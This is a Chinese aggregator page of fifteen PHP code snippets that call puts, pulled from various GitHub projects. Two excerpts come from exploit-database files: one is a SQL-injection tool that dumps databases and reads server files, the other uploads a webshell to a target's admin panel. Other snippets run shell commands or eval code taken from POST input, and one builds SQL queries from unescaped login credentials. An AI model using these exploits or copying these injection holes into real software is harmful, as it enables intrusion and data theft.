当前位置: 首页>>代码示例>>PHP>>正文


PHP puts函数代码示例

本文整理汇总了PHP中puts函数的典型用法代码示例。如果您正苦于以下问题:PHP puts函数的具体用法?PHP puts怎么用?PHP puts使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了puts函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: processDatabases

function processDatabases() {
	$confPath = __DIR__.'/../conf';
	$confs = findConfigurationFiles($confPath);
	
	foreach ($confs as $confFile) {
		$conf = json_decode(file_get_contents($confPath.'/'.$confFile));
		if (!$conf)
			puts("Not a valid json file:\n".file_get_contents($confFile));
		else {
			$filter = new DataFilter($conf);
			$filter->processDatabase();
		}
	}
}
开发者ID:nleclerc,项目名称:mysql-data-normalizer,代码行数:14,代码来源:common.php

示例2: main

function main($msg = null)
{
    global $token, $token_hex;
    echo "\n" . $msg . "\n";
    puts("[>] MAIN MENU");
    puts("[1] Browse MySQL");
    puts("[2] Run SQL Query");
    puts("[3] Read file");
    puts("[4] About");
    puts("[0] Exit");
    $resp = gets();
    if ($resp == "0") {
        exit;
    } elseif ($resp == "1") {
        // pega dbs
        $i = 0;
        puts("[.] Getting databases:");
        while (true) {
            $pega = runquery("SELECT schema_name FROM information_schema.schemata LIMIT {$i},1");
            if ($pega) {
                puts(" - " . $pega);
            } else {
                break;
            }
            $i++;
        }
        puts("[!] Current database: " . runquery("SELECT database()"));
        puts("[?] Enter database name for select:");
        $own = array();
        $own['db'] = gets();
        $own['dbh'] = hex($own['db']);
        // pega tables da db
        $i = 0;
        puts("[.] Getting tables from {$own['db']}:");
        while (true) {
            $pega = runquery("SELECT table_name FROM information_schema.tables WHERE table_schema={$own['dbh']} LIMIT {$i},1");
            if ($pega) {
                puts(" - " . $pega);
            } else {
                break;
            }
            $i++;
        }
        puts("[?] Enter table name for select:");
        $own['tb'] = gets();
        $own['tbh'] = hex($own['tb']);
        // pega colunas da table
        $i = 0;
        puts("[.] Getting columns from {$own['db']}.{$own['tb']}:");
        while (true) {
            $pega = runquery("SELECT column_name FROM information_schema.columns WHERE table_schema={$own['dbh']} AND table_name={$own['tbh']} LIMIT {$i},1");
            if ($pega) {
                puts(" - " . $pega);
            } else {
                break;
            }
            $i++;
        }
        puts("[?] Enter columns name, separated by commas (\",\") for select:");
        $own['cl'] = explode(",", gets());
        // pega dados das colunas
        foreach ($own['cl'] as $coluna) {
            $i = 0;
            puts("[=] Column: {$coluna}");
            while (true) {
                $pega = runquery("SELECT {$coluna} FROM {$own['db']}.{$own['tb']} LIMIT {$i},1");
                if ($pega) {
                    puts(" - {$pega}");
                    $i++;
                } else {
                    break;
                }
            }
            echo "\n[ ] -+-\n";
        }
        main();
    } elseif ($resp == "2") {
        puts("[~] RUN SQL QUERY");
        puts("[!] You can run a SQL code. It can returns a one-line and one-column content. You can also use concat() or group_concat().");
        puts("[?] Query (enter for exit): ");
        $query = gets();
        if (!$query) {
            main();
        } else {
            main(runquery($query . "\n"));
        }
    } elseif ($resp == "3") {
        puts("[?] File path (may not have priv):");
        $file = hex(gets());
        $le = runquery("SELECT load_file({$file}) AS wc");
        if ($le) {
            main($le);
        } else {
            main("File not found, empty or no priv!");
        }
    } elseif ($resp == "4") {
        puts("Coded by WhiteCollarGroup");
        puts("www.wcgroup.host56.com");
        puts("whitecollar_group@hotmail.com");
        puts("twitter.com/WCollarGroup");
//.........这里部分代码省略.........
开发者ID:SuperQcheng,项目名称:exploit-database,代码行数:101,代码来源:21786.php

示例3: session_regenerate_id

                        exit;
                    }
                } else {
                    //you had a valid login
                    // get TA ID and name for the entire session.
                    $sql = "select sid from login where username = '{$username}' and password = '{$password}'";
                    $result = $db->query($sql)->fetch();
                    $_SESSION['ta_id'] = $result[0];
                    $sql = "select name_first, name_last, department from ta where sid = '{$result['0']}'";
                    $result = $db->query($sql)->fetch();
                    $_SESSION['ta_name'] = $result['name_first'] . " " . $result['name_last'];
                    $_SESSION['tadept'] = $result['department'];
                    // go to next page.
                    session_regenerate_id(true);
                    session_write_close();
                    header("Location:info.php");
                    exit;
                }
            } catch (PDOException $e) {
                puts('Exception : ' . $e->getMessage());
                $db = NULL;
            }
        }
    }
}
//check user creds
?>


</html>
开发者ID:Quiksilver626,项目名称:tamatch,代码行数:30,代码来源:login.php

示例4: def_printfer

<?php

def_printfer('puts', "%s\n");
puts('base>');
_catch("first", function () {
    puts('1>');
    _catch("second", function () {
        puts('2>');
        _catch("third", function () {
            puts('3>');
            _throw("second");
            puts('<3');
        });
        puts('<2');
    });
    puts('<1');
});
puts('<base');
?>
---
base>
1>
2>
3>
<1
<base
开发者ID:najomi,项目名称:najomi.org,代码行数:26,代码来源:_catch-_throw.php

示例5: processTable

	private function processTable($name) {
		puts("-----");
		puts("Processing table: $name");
		
		$stm = $this->source->execute("select * from $name");
		
		$count = $stm->rowCount();
		puts("Row count: $count");
		
		if($this->truncateTable($this->dest, $name))
			puts("Truncated destination table.");
		else
			puts("An error occured truncating destination table.");
			
		$strCols = $this->getColumnNames($stm, 'VAR_STRING', 'BLOB', 'TEXT');
		$allCols = $this->getColumnNames($stm);
		
		puts("Table columns: ".implode(', ', $allCols));
		puts("Filtered columns: ".implode(', ', $strCols));
			
		$insertStm = $this->prepareInsertStatement($this->dest, $name, $allCols);
		
		for ($i=0; $i<$count; $i++) {
//		for ($i=0; $i<min($count, 10); $i++) {

			echo '- ';
			$row = $stm->fetch(PDO::FETCH_BOTH);
			
			echo $row[0];
			echo ' | ';
			
			foreach ($strCols as $colname) {
				$row[$colname] = $this->filterValue($row[$colname]);
				echo substr($row[$colname], 0, 10);
				echo ' | ';
			}
			
//			puts(implode(', ', $this->getRowValues($row, $allCols)));
			
			if (!$insertStm->execute($this->getRowValues($row, $allCols)))
				throw new Exception('Unable to insert row: '.json_encode($row));
			
			puts (' ;');
		}
		
		puts("All rows inserted.");
	}
开发者ID:nleclerc,项目名称:mysql-data-normalizer,代码行数:47,代码来源:DataFilter.php

示例6: putenv

    putenv("PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin");
    putenv("SCRIPT_FILENAME=" . strtok($_POST['txtCommand'], " "));
    /* PHP scripts */
    $ph = popen($_POST['txtCommand'] . ' 2>&1', "r");
    while ($line = fgets($ph)) {
        echo htmlspecialchars($line);
    }
    pclose($ph);
    puts("&nbsp;</pre>");
}
if (!isBlank($_POST['txtPHPCommand'])) {
    puts("<pre>");
    require_once "config.inc";
    require_once "functions.inc";
    echo eval($_POST['txtPHPCommand']);
    puts("&nbsp;</pre>");
}
?>
<div id="niftyOutter">
<form action="exec.php" method="post" enctype="multipart/form-data" name="frmExecPlus" onsubmit="return frmExecPlus_onSubmit(this);">
	<table summary="exec">
		<tr>
		<td colspan="2" valign="top" class="vnsepcell"><?php 
echo gettext("Execute Shell command");
?>
</td>
		</tr>
		<tr>
			<td class="label" align="right"><?php 
echo gettext("Command");
?>
开发者ID:rohankapoorcom,项目名称:pfsense,代码行数:31,代码来源:exec.php

示例7: try_again

function try_again($str, $str2, $str3)
{
    puts("");
    //reset the modal
    login_form($str, $str2, $str3);
}
开发者ID:Quiksilver626,项目名称:tamatch,代码行数:6,代码来源:functions.php

示例8: file_get_contents

        $prefix = file_get_contents($dir . 'prefix');
    }
    if (file_exists($dir . 'suffix')) {
        $suffix = file_get_contents($dir . 'suffix');
    }
    foreach (test_files($dir) as $file) {
        $total++;
        list($src, $result) = read_test($file);
        $result = trim($result);
        $eval_out = trim(eval_output($prefix . $src . $suffix));
        if ($eval_out == $result) {
            $correct++;
            echo '.';
        } else {
            add_error($file, $eval_out, $result);
            $fail++;
            echo 'e';
        }
    }
}
print_all_errors();
if ($fail) {
    Color::red();
} else {
    Color::green();
}
puts("Correct: " . $correct);
puts("Fail: " . $fail);
puts("Total: " . $total);
Color::reset();
unlink('tmp.php');
开发者ID:najomi,项目名称:najomi.org,代码行数:31,代码来源:run-test.php

示例9: red

function red($text, $line_break = true)
{
    puts($text, RED, $line_break);
}
开发者ID:krasimir,项目名称:fabrico,代码行数:4,代码来源:huck.php

示例10: show_statistics

 /**
  * Show a nice list of statistics such as the amount of requirements, failed tests, etc.
  *
  * @author Yorick Peterse
  * @access Private
  * @static
  * @return Void
  */
 private static function show_statistics()
 {
     $tests = Colors::blue("Tests: " . self::$statistics['tests']);
     $failed = Colors::red("Failed: " . self::$statistics['tests_failed']);
     $success = Colors::green("Success: " . (self::$statistics['tests'] - self::$statistics['tests_failed']));
     $reqs = "Requirements: " . self::$statistics['requirements'];
     puts(PHP_EOL . "{$reqs} | {$tests} | {$success} | {$failed}");
 }
开发者ID:ngonchan,项目名称:koi,代码行数:16,代码来源:base.php

示例11: elseif

                    } elseif ($c == "'" || $c == '"') {
                        // start of quoted string?
                        $quoted = TRUE;
                        $quote = $c;
                        $line .= $c;
                        $slash = FALSE;
                    } else {
                        $line .= $c;
                    }
                }
            }
        }
    }
}
if (!empty($line)) {
    puts(trim($line) . "\n");
    $line = '';
}
exit(0);
function getchar()
{
    return fgetc(STDIN);
}
function puts($s)
{
    return fwrite(STDOUT, $s, strlen($s));
}
function debug($s)
{
    return;
    fwrite(STDERR, $s, strlen($s));
开发者ID:BackupTheBerlios,项目名称:websiteatschool,代码行数:31,代码来源:minjs.php

示例12: to_code

 function to_code($ast, $t = '-')
 {
     if (D) {
         puts($t . 'AST:', $ast);
     }
     if (is_array($ast) && count($ast) == 1 && !$this->get_method(pos($ast))) {
         $ast = pos($ast);
     }
     //IS IT AN ATOM?
     if (!is_array($ast)) {
         //is it a float or negative number?
         $f = str_replace(array('__DOT', '__DSH'), array('.', '-'), $ast);
         if (is_numeric($f)) {
             return $f;
         }
         return $this->get_var($ast) && !is_numeric($ast) ? '$' . $ast : $ast;
     }
     //IS IT A SINGLE LIST?
     if (!is_array(pos($ast))) {
         $ast = array($ast);
     }
     //CREATE PARSED AST
     $code = array();
     $special_forms = array('__quote', 'lambda', 'define', 'cond', 'if', 'and', 'or', 'not', 'iapply');
     foreach ($ast as $node) {
         if (D) {
             puts(N, $t . 'CHECK:', $node, N);
         }
         $method = array_shift($node);
         if (in_array($method, $special_forms)) {
             $args = $node;
             $method = '__' . $method;
         } else {
             $args = array();
             foreach ((array) $node as $arg) {
                 $args[] = $this->to_code($arg);
             }
             if (D) {
                 puts('BLIND', $args);
             }
         }
         $code[] = $this->{$method}(empty($args) ? NULL : $args);
     }
     return count($code) == 1 ? array_shift($code) : $code;
 }
开发者ID:shaunxcode,项目名称:phlisp,代码行数:45,代码来源:scheme.php

示例13: curl_setopt

curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_URL, $target . "/admin/main.php?pg=filetypes");
curl_setopt($ch, CURLOPT_POSTFIELDS, "task=addfiletype&file_type=hack");
curl_exec($ch);
// get doc type id
puts("Trying to get new doc type ID.");
curl_setopt($ch, CURLOPT_POST, 0);
curl_setopt($ch, CURLOPT_URL, $target . "/admin/main.php?pg=filetypes");
$store = curl_exec($ch);
$numbers = array();
preg_match_all("/main\\.php\\?pg=filetypes&task=deltype&type_id=([0-9]*)/", $store, $numbers);
$tid = $numbers[1][0];
puts("New doc type ID: {$tid}", "[!]");
// upload file
puts("Trying to upload file...");
curl_setopt($ch, CURLOPT_POST, 1);
$post = array("task" => "addfile", "client_id" => $uid, "from" => "step1", "project_id" => $pid, "clid" => $uid, "task_id" => $taskid, "type_id" => $tid, "file_title" => "wcgroup", "file" => "@{$webshell}");
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_exec($ch);
// make file address
puts("Thinking about file address...");
$fileaddr = $target . "/clientdir/{$uid}/dl/" . basename($webshell);
puts("Exploit complete.", "[!]");
puts("You have now a webshell in <{$fileaddr}>", "[i]");
function puts($str, $type = false)
{
    if (!$type) {
        $type = "[*]";
    }
    echo $type . "  " . $str . "\n";
}
开发者ID:SuperQcheng,项目名称:exploit-database,代码行数:31,代码来源:20342.php

示例14: fclose

                                print 'neutral';
                            }
                        }
                        //value == 50
                        print '"><td>' . $p->ta . '</td></tr>';
                    }
                    //don't print out blanks
                }
                //print out each TA
                print '</tbody></table>';
            }
            //when we have a match, display the results.
        }
        //getting rows from pref.csv
        fclose($fp);
    } else {
        puts($status);
    }
}
?>

<script>
  function redirectMe (sel) { 
    var url = sel[sel.selectedIndex].value;
    window.location = url; 
  }

</script>
			
</body></html>
开发者ID:Quiksilver626,项目名称:tamatch,代码行数:30,代码来源:coursepref.php

示例15: puts

    puts("<div class=\"panel panel-success responsive\"><div class=\"panel-heading\"><h2 class=\"panel-title\">PHP Response</h2></div>");
    $tmpname = tempnam("/tmp", "");
    $phpfile = fopen($tmpname, "w");
    fwrite($phpfile, "<?php\n");
    fwrite($phpfile, "require_once(\"/etc/inc/config.inc\");\n");
    fwrite($phpfile, "require_once(\"/etc/inc/functions.inc\");\n\n");
    fwrite($phpfile, $_POST['txtPHPCommand'] . "\n");
    fwrite($phpfile, "?>\n");
    fclose($phpfile);
    $output = array();
    exec("/usr/local/bin/php " . $tmpname, $output);
    unlink($tmpname);
    $output = implode("\n", $output);
    print "<pre>" . htmlspecialchars($output) . "</pre>";
    //		echo eval($_POST['txtPHPCommand']);
    puts("</div>");
    ?>
<script type="text/javascript">
//<![CDATA[
	events.push(function() {
		// Scroll to the bottom of the page to more easily see the results of a PHP exec command
		$("html, body").animate({ scrollTop: $(document).height() }, 1000);
	});
//]]>
</script>
<?php 
}
?>
	<div class="panel panel-default responsive">
		<div class="panel-heading"><h2 class="panel-title"><?php 
echo gettext('Execute PHP Commands');
开发者ID:NextMagic,项目名称:pfsense,代码行数:31,代码来源:exec.php


注:本文中的puts函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。